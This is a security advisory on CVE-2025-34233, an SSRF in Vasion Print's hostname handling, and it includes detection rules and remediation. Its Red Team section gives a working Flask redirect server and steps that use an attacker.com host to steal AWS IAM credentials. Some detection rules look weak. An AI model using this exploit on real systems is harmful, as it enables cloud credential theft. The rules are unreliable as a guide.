CVE-2025-34233

Executive Summary

CVE-2025-34233 is a critical protection mechanism failure vulnerability in Vasion Print (formerly PrinterLogic) Virtual Appliance and SaaS deployments. The flaw resides in the file_get_contents() function, which is used to process printer hostname or callback fields configured by an administrator. When an admin sets a printer’s hostname, the value is passed unchecked to PHP’s file_get_contents()/cURL functions. These functions follow HTTP redirects and impose no allow‑list, scheme, or IP‑range restrictions. An admin‑level attacker can point the hostname to a malicious web server that issues a 301 redirect to internal endpoints such as the AWS EC2 metadata service (http://169.254.169.254/latest/meta-data/). The server follows the redirect, retrieves the metadata, and returns or stores the credentials, enabling the attacker to steal cloud IAM keys, enumerate internal services, and pivot further into the SaaS infrastructure. This vulnerability has been confirmed remediated, but the exact patch date is unclear.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary PHP-based appliance. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 8.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Changed (impact on cloud metadata)
• Confidentiality: High
• Integrity: High
• Availability: None
• Threat Level: Critical due to potential cloud credential theft and lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Request Forgery (SSRF) combined with a protection mechanism failure (CWE-441). The core issue is that the file_get_contents() function in PHP, when used without proper validation, will follow HTTP redirects and access any URL, including internal IP ranges.

Attack Flow:

1. An attacker with administrative access to the Vasion Print appliance configures a printer’s hostname or callback URL.
2. The attacker sets the hostname to an external server they control (e.g., http://attacker.com/redirect).
3. The appliance’s backend PHP code calls file_get_contents() on this hostname.
4. The attacker’s server responds with a 301 redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/.
5. The PHP function follows the redirect and fetches the AWS EC2 metadata, which contains IAM credentials.
6. The credentials are then stored or returned to the attacker, allowing them to assume the cloud role and access AWS resources.

Why it works:

• No allow‑list of allowed hosts or IP ranges.
• No restriction on URL schemes (e.g., file://, gopher:// could also be used).
• The function follows redirects by default.
• The appliance runs in a cloud environment (AWS) where the metadata service is accessible.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$hostname = $_POST['printer_hostname']; // User input from admin
$response = file_get_contents($hostname); // No validation
// Process $response...
?>

Patched Code (Conceptual):

<?php
$hostname = $_POST['printer_hostname'];
// Validate hostname against allow‑list
$allowed_hosts = ['printer.example.com', 'print-server.internal'];
if (!in_array(parse_url($hostname, PHP_URL_HOST), $allowed_hosts)) {
    die('Invalid hostname');
}
// Disable redirects
$opts = [
    'http' => [
        'method' => 'GET',
        'follow_location' => 0,
    ]
];
$context = stream_context_create($opts);
$response = file_get_contents($hostname, false, $context);
// Process $response...
?>

The patch introduces an allow‑list of permitted hosts and disables redirect following. Additionally, input validation should reject private IP ranges and metadata endpoints.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Vasion Print Virtual Appliance (version < 25.1.102) in an AWS environment.
2. Set up an attacker-controlled web server (e.g., using Python Flask) that returns a 301 redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/.
3. Log in as an admin and configure a printer’s hostname to http://attacker.com/redirect.
4. Trigger the callback (e.g., by testing the printer connection).
5. Capture the returned IAM credentials from the appliance’s response or logs.

Exploit Code (Python):

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def redirect_to_metadata():
    return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Usage: Run the Flask server, then configure the printer hostname to http://<attacker-ip>/redirect in the Vasion Print admin panel.

Blue Team

Detection:

• Monitor outbound HTTP requests from the appliance to external IPs followed by requests to 169.254.169.254.
• Alert on any file_get_contents() calls with user-controlled input.
• Use network segmentation to block outbound traffic from the appliance to the internet.

Hunting:

• Search logs for file_get_contents calls with URLs containing 169.254.169.254 or private IP ranges.
• Check for printer hostnames that are not in the expected allow‑list.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to 169.254.169.254 from the Vasion Print appliance.
  • HTTP requests to external IPs followed by requests to internal metadata endpoints.
• Logs:
  • PHP error logs containing file_get_contents with URLs pointing to 169.254.169.254.
  • Printer configuration changes with unusual hostnames (e.g., IP addresses or external URLs).
• File System:
  • Temporary files containing AWS IAM credentials (e.g., in /tmp/ or application cache).
• Cloud:
  • Unusual IAM role usage from the appliance’s instance.

Detection Engineering

YARA Rule

rule CVE_2025_34233_SSRF {
    meta:
        description = "Detects SSRF attempts via file_get_contents in Vasion Print"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34233"
    strings:
        $php_func = "file_get_contents"
        $metadata = "169.254.169.254"
        $redirect = "Location:"
    condition:
        $php_func and ($metadata or $redirect)
}

Sigma Rule

title: CVE-2025-34233 SSRF via file_get_contents
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts targeting AWS metadata from Vasion Print
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '169.254.169.254'
            - 'file_get_contents'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34233 SSRF Attempt"; flow:to_server; content:"file_get_contents"; http_uri; content:"169.254.169.254"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Vasion Print Virtual Appliance version 25.1.102 or later, or SaaS version 25.1.1413 or later.
2. If patching is not possible, restrict outbound traffic from the appliance using a firewall or security group to only allow connections to known printer IPs.
3. Disable the file_get_contents() function in PHP if not needed (via disable_functions in php.ini).

Long-term:

• Implement input validation for all user-supplied URLs, including allow‑lists and scheme restrictions.
• Disable HTTP redirect following in PHP by setting follow_location = 0 in stream contexts.
• Use a web application firewall (WAF) to block requests to metadata endpoints.
• Conduct regular security audits of cloud environments.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert